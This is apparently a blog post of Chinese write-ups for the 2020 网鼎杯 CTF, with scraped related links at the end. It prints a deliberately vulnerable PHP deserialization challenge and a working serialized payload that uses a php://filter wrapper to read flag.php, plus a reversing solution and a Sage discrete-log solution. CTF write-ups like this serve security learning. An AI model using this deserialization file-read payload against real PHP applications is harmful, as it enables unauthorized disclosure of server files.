2020 网鼎杯wp
2020 网鼎杯WP
- 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录
AreUSerialz
知识点:反序列化
- 打开链接直接给出源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 这里首先就是要满足
payload的字符的ASCII在32至125之间,其次就是要绕过构造函数和析构函数 - 其中构造函数在一开始就会被执行,而其中又会执行
process函数 process函数中只有执行到read函数时才能读取文件,而要执行read函数则必须使op=2,这里可以通过加空格绕过- 接下来就是对于
protected在反序列化时,要加上\00的前缀 - 此外在
PHP5最新的CVS中,新的序列化方式叫做escaped binary string方式,这是相对与普通那种non-escaped binary string方式来说的:string型数据(字符串)新的序列化格式为:S:"<length>":"<value>";其中<length>是源字符串的长度,而非<value>的长度。<length>是非负整数,数字前可以带有正号(+)。<value>为经过转义之后的字符串。它的转义编码很简单,对于ASCII码小于128的字符(但不包括\),按照单个字节写入(与s标识的相同),对于128~255的字符和\字符,则将其ASCII码值转化为16进制编码的字符串,以\作为开头,后面两个字节分别是这个字符的16进制编码,顺序按照由高位到低位排列,也就是第8-5位所对应的16进制数字字符(abcdef这几个字母是小写)作为第一个字节,第4-1位作为第二个字节。依次编码下来,得到的就是<value>的内容了。 - 所以对于普通的序列化小
s对应的就是普通的字符串,如s:3:"%00a%00";而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00"; - 所以这里最终的
payload如下:
<?php
class FileHandler {
protected $op=" 2";
protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
protected $content= "Hello World";
}
$a=new FileHandler();
echo $b=serialize($a);
O:11:"FileHandler":3:{s:5:"\00*\00op";s:2:" 2";s:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"\00*\00content";s:11:"Hello World";}
boom
- 无脑计算题,
level-1的md5直接在线查找一下,发现时en5oy,level-2的方程组用sympy解一下或者直接手算,level-3稍微有一些坑,首先用sympy解出x=89127561直接回车后会闪退,这里可以用OD动调一下就可抓到flag
you raise me up
知识点:Pohlig-Hellman,离散对数求解
- 直接用
sage解即可
sage: n = 2 ** 512
sage: m = 3911907091245274289594896625652740393183059521729368594038550795814027
....: 70986890308469084735451207885386318986881041563704825943945069343345307381
....: 099559075
sage: c = 6665851394203214245856789450723658632520816791621796775909766895233000
....: 23402364287878602564495379799537321130848560539702412318008592411761080248
....: 5972584499
sage: discrete_log(c,mod(m,n))
56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
- 最后直接在
python中解一下即可
>>> long_to_bytes(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'
签到题
emmmmmmmm,这个充个数,就不讲了
2020 网鼎杯wp的更多相关文章
- 2020网鼎杯 白虎组reverse:hero
主函数,当bossexist的值不为0时,while循环dround()函数,循环结束输出flag outflag()函数的flag值由6段数据拼凑而成 while循环的dround()函数有三个选择 ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
- 网鼎杯2020 AreUSerialz
0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- [网鼎杯 2018]Comment
[网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...
- 网鼎杯2020青龙组writeup-web
本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...
随机推荐
- UVA-2【NOI2014】起床困难综合症
#2. [NOI2014]起床困难综合症 21 世纪,许多人得了一种奇怪的病:起床困难综合症,其临床表现为:起床难,起床后精神不佳.作为一名青春阳光好少年,atm 一直坚持与起床困难综合症作斗争.通过 ...
- Python(Redis 中 String/List/Hash 类型数据操作)
1.下载 redis 模块 pip install redis 2.redis 数据库两种连接方式 简单连接 decode_responses=True,写入和读取的键值对中的 value 为 str ...
- Nginx模块开发(4)————使用subrequest访问第三方服务
该模块可以完成如下的功能,当我们输入http://你的ip/lcw?s_sh000001时,会使用subrequest方式得到新浪服务器上的上证指数,代码如下: //start from the ve ...
- kafka可插拔增强如何实现?
导弹拦截,精准防御. 背景 拦截器:在不修改应用程序业务逻辑的情况下,一组基于事件的可插拔的逻辑处理链: 类比springMVC的拦截器: 这些都是通过配置拦截器,插入到应用程序中,实现可插拔的修改业 ...
- 内存迟迟下不去,可能你就差一个GC.Collect
一:背景 1. 讲故事 我们有一家top级的淘品牌店铺,为了后续的加速计算,在程序启动的时候灌入她家的核心数据到内存中,灌入完成后内存高达100G,虽然云上的机器内存有256G,然被这么划掉一半看着还 ...
- C. Fountains
\(整体思路没错,但是我貌似太麻烦了.......\) \(分情况讨论\) \(Ⅰ.coin和diamond各选一个物品,这个简单\) \(Ⅱ.在coin中选两个或者在diamond选两个\) \(开 ...
- 网络流 O - Marriage Match IV
题目链接:https://vjudge.net/contest/299467#problem/O 题目思路:网络流+最短路 这个是一个最短路+最大流,最短路容易,就是跑起点到每一个点的距离. 但是这个 ...
- Day_09【常用API】扩展案例2_测试小字符串在大字符串中出现的次数
分析以下需求,并用代码实现 1.键盘录入一个大字符串,再录入一个小字符串 2.统计小字符串在大字符串中出现的次数 3.代码运行打印格式: 请输入大字符串: woaiheima,heimabutongy ...
- vim(vi)的常用快捷键
Vim 简介 vim是什么?听说它是编辑器之神!神一样的存在,而我却经常用上下左右箭头来移动光标,实在是有点对不起它,所以想着稍微学学一点神的技能吧! 一. vim的三种模式 Nomal mode:默 ...
- 关于C语言的位运算符
早期cpu架构在运行位运算时 略微领先 + - 运算 大幅领先 * / % 运算 '&' 运算符 总结 两个二进制中对应的位置都为 1 结果的对应二进制为 1 '&'运算符可以用到奇偶 ...